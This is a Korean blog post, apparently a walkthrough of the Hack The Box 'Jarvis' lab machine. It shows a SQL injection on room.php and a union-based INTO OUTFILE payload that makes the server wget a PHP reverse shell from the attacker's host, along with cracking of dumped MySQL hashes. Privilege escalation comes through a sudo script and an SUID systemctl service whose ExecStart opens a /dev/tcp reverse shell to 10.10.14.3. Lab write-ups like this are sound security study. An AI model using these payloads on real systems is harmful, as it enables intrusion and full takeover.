본문 바로가기
워게임/hackthebox

jarvis 롸업 정리

by meanjung 2021. 10. 10.

nmap

-p- 옵션의 중요성


gobuster(삽질)

not useful

.

.

10.10.10.143 뒤져보기

/room.php?cod=3 여기서 LFI, RFI 시도 후 안되니까 sqli 시도

/room.php?cod=3 or sleep(1)%23 -> 10초 딜레이되는 것을 보고 취약하구나 판단


SQL injection

1. 컬럼 개수 파악하기

?cod=4 order by 6

                       7

                       8 -> 데이터가 없어진다.. 오류가 있다는 뜻

=> 컬럼 7개 파악

 

2. 컬럼이 각각 어디에 위치하는지 구하기

?cod=999 union select 1,2,3,4,5,6,7

3. sql injection으로 리버스 쉘 따기

  • 로컬에 shell.php로 php 리버스 쉘코드 저장
  • python -m SimpleHTTPServer 5555
  • 로컬에서 nc -nlvp 1234 포트 열기
  • ?cod=9999 union select 1,(select '<?php exec(\"wget -O /var/www/html/shell.php http://10.10.14.3:5555/shell.php\");?>'),3,4,5,6,7 INTO OUTFILE '/var/www/html/test.php'
  • http://10.10.10.143/test.php 접속
  • http://10.10.10.143/shell.php 접속
  • 쉘이 따진 것을 볼 수 있다.

하지만 user.txt도 볼 수 없다......


SQL injection user/passwd 구하기 (삽질)

http://10.10.10.143/room.php?cod=999%20union%20select%201,@@version,3,4,5,6,7

 

SELECT host, user, password FROM mysql.user (mysql 5.7부터 password 삭제)

http://10.10.10.143/room.php?cod=999%20union%20select%201,host,user,password,5,6,7%20from%20mysql.user%23

https://crackstation.net/

db가 DBadmin/imissyou 라는듯


권한 상승(user.txt 보기)

 

오랜만에 sudo -l

www-data@jarvis:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

simpler.py 코드를 보고 어떻게 익스하면 될 지 파악할 수 있다.

pepper 권한으로 쉘을 땄지만 아마 원하는 대로 출력이 잘 안될 것이다. 다시 리버스쉘 따면 된다. 

 

user.txt 확인 가능


권한 상승(root.txt 보기)

LinEnum.sh

- SUID 걸린 파일을 본다. /bin/systemctl이 눈에 띄어야 한다... 어떻게 보냐고 이걸ㅜㅜ

- pepper이 써져있어서 주목했다치고

- We can use that to our advantage and escalate to root privileges.

 

[**] systemctl갖고 권한 상승하는 법

https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49

 

Privilege Escalation: Leveraging misconfigured systemctl permissions

The binary, systemctl, is a process that exists in linux operating systems that is used to start different services, such as apache…

medium.com

 

/home/pepper 밑에 이와같은 root.service 파일 만들기

[Unit]
Description=get root privilege

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/8888 0>&1'

[Install]
WantedBy=multi-user.target

/bin/systemctl enable /home/pepper/root.service
/bin/systemctl start root

root.txt 확인 가능

 

 

'워게임 > hackthebox' 카테고리의 다른 글

chatterbox 롸업 정리  (1) 2021.10.12
jerry 롸업 정리(톰캣 배포 이해)  (0) 2021.10.09
silo 롸업 정리(tns listener)  (0) 2021.10.06
grandpa 롸업 정리- 다시해보기  (0) 2021.10.05
arctic 롸업 정리  (0) 2021.10.05

댓글